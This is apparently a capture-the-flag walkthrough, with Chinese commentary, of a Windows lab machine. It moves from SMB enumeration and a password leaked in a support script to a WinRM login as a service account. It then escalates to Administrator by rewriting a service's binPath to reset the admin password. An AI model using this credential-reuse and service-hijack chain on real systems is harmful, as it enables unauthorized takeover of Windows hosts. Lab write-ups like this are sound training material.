Nmap
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: El Guanche Security \xC2\xB7 Central de Videovigilancia
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: 403 - Forbidden: Access is denied.
|_http-server-header: Microsoft-IIS/10.0
49667/tcp open msrpc Microsoft Windows RPC
SMB
[/home/kali/temp]$ smbmap -H 192.168.56.234 -u guest --no-pass
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.56.234:445 Name: elguanche-security.thl Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Soporte_Tecnico READ ONLY Scripts y manuales de soporte
[/home/kali/temp]$ smbmap -H 192.168.56.234 -u guest --no-pass -r 'Soporte_Tecnico'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.56.234:445 Name: elguanche-security.thl Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Soporte_Tecnico READ ONLY Scripts y manuales de soporte
./Soporte_Tecnico
dr--r--r-- 0 Sat Aug 8 16:40:13 2026 .
dr--r--r-- 0 Sat Aug 8 16:40:13 2026 ..
fr--r--r-- 89 Sat Aug 8 16:40:13 2026 nota_soporte.txt
fr--r--r-- 541 Sat Aug 8 16:40:13 2026 Reiniciar-Camaras.ps1
[*] Closed 1 connections
[/home/kali/temp]$ smbmap -H 192.168.56.234 -u guest --no-pass -r 'Soporte_Tecnico' --download 'Soporte_Tecnico/nota_soporte.txt'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: Soporte_Tecnico\nota_soporte.txt (89 bytes)
[+] File output to: /home/kali/temp/192.168.56.234-Soporte_Tecnico_nota_soporte.txt
[*] Closed 1 connections
[/home/kali/temp]$ smbmap -H 192.168.56.234 -u guest --no-pass -r 'Soporte_Tecnico' --download 'Soporte_Tecnico/Reiniciar-Camaras.ps1'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: Soporte_Tecnico\Reiniciar-Camaras.ps1 (541 bytes)
[+] File output to: /home/kali/temp/192.168.56.234-Soporte_Tecnico_Reiniciar-Camaras.ps1
[*] Closed 1 connections
[/home/kali/temp]$
查看文件内容
[/home/kali/temp]$ cat 192.168.56.234-Soporte_Tecnico_nota_soporte.txt
Si las camaras dejan de responder, ejecutar el script de reinicio. Ref: ticket #4470
[/home/kali/temp]$ cat 192.168.56.234-Soporte_Tecnico_Reiniciar-Camaras.ps1
# =========================================================
# Script de mantenimiento - El Guanche Security S.L.
# Reinicio del servicio de camaras GuancheVMS
# Autor: Rayco (Sistemas)
# =========================================================
Write-Host "Reiniciando servicio de camaras..." -ForegroundColor Yellow
# Credenciales de la cuenta de servicio de camaras
$password = ConvertTo-SecureString "C4m4ras2023!" -AsPlainText -Force
Restart-Service -Name "GuancheVMS" -Force
Write-Host "Servicio reiniciado." -ForegroundColor Green
[/home/kali/temp]$
找到一个用户名和密码
username: Rayco
password: C4m4ras2023!
API leak
来到80端口，尝试登录结果发现失败
扫一下目录，发现一个support页面
[/home/kali/temp]$ feroxbuster -u http://elguanche-security.thl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://elguanche-security.thl
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 283l 964w 16420c http://elguanche-security.thl/
301 GET 2l 10w 161c http://elguanche-security.thl/support => http://elguanche-security.thl/support/
301 GET 2l 10w 161c http://elguanche-security.thl/Support => http://elguanche-security.thl/Support/
301 GET 2l 10w 161c http://elguanche-security.thl/SUPPORT => http://elguanche-security.thl/SUPPORT/
[####################] - 56s 882190/882190 0s found:4 errors:1
[####################] - 53s 220546/220546 4137/s http://elguanche-security.thl/
[####################] - 53s 220546/220546 4123/s http://elguanche-security.thl/support/
[####################] - 53s 220546/220546 4128/s http://elguanche-security.thl/Support/
[####################] - 50s 220546/220546 4442/s http://elguanche-security.thl/SUPPORT/
找到一个api路径，他是开在8080端口上的
[/home/kali/temp]$ curl -s http://elguanche-security.thl:8080/api/diagnostics.json | jq
{
"service": "GuancheVMS Diagnostics API",
"version": "4.2.1",
"status": "running",
"uptime_seconds": 486233,
"host": {
"hostname": "BENAHOARE-THL",
"os": "Windows Server 2019 Standard",
"service_account": "svc_camaras",
"install_path": "C:\\Program Files\\GuancheVMS"
},
"cameras": [
{
"id": "CAM-01",
"zone": "Recepcion",
"status": "online",
"fps": 25
},
{
"id": "CAM-02",
"zone": "Almacen",
"status": "online",
"fps": 25
},
{
"id": "CAM-03",
"zone": "Parking",
"status": "online",
"fps": 25
},
{
"id": "CAM-04",
"zone": "Muelle",
"status": "offline",
"fps": 0
}
],
"storage": {
"retention_days": 30,
"used_percent": 61
},
"notes": "Diagnostics endpoint. Internal use only. Do not expose service_account in production responses (ticket #4468)."
}
得到一个用户名
username：svc_camaras
User
可以用之前的密码进行5985端口登录，拿到user.txt
[/home/kali/temp]$ evil-winrm -i 192.168.56.234 -u svc_camaras -p 'C4m4ras2023!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_camaras\Documents>
*Evil-WinRM* PS C:\Users\svc_camaras\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\svc_camaras\desktop> dir
Directory: C:\Users\svc_camaras\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/7/2026 11:27 AM 32 user.txt
*Evil-WinRM* PS C:\Users\svc_camaras\desktop> type user.txt
THL{d14gn0st1
Administrator
之前的留言里提示到svc_camaras是可以强制重启GuancheVMS服务
$password = ConvertTo-SecureString "C4m4ras2023!" -AsPlainText -Force
Restart-Service -Name "GuancheVMS" -Force
Write-Host "Servicio reiniciado." -ForegroundColor Green
这里可以修改服务启动的文件路径，直接把命令设置为修改管理员的密码
*Evil-WinRM* PS C:\Users\svc_camaras\Documents> cmd /c sc config GuancheVMS binPath= "cmd.exe /c net user Administrator NewP@ssw0rd123!"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\svc_camaras\Documents> cmd /c sc qc GuancheVMS
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: GuancheVMS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : cmd.exe /c net user Administrator NewP@ssw0rd123!
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : GuancheVMS Camera Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
*Evil-WinRM* PS C:\Users\svc_camaras\Documents> cmd /c sc start GuancheVMS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
然后登录就可以拿到root.txt
[/home/kali/temp]$ evil-winrm -i 192.168.56.234 -u Administrator -p 'NewP@ssw0rd123!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> dir
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/8/2026 1:42 AM 35 root.txt
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
THL{w34k_s3rv1c3_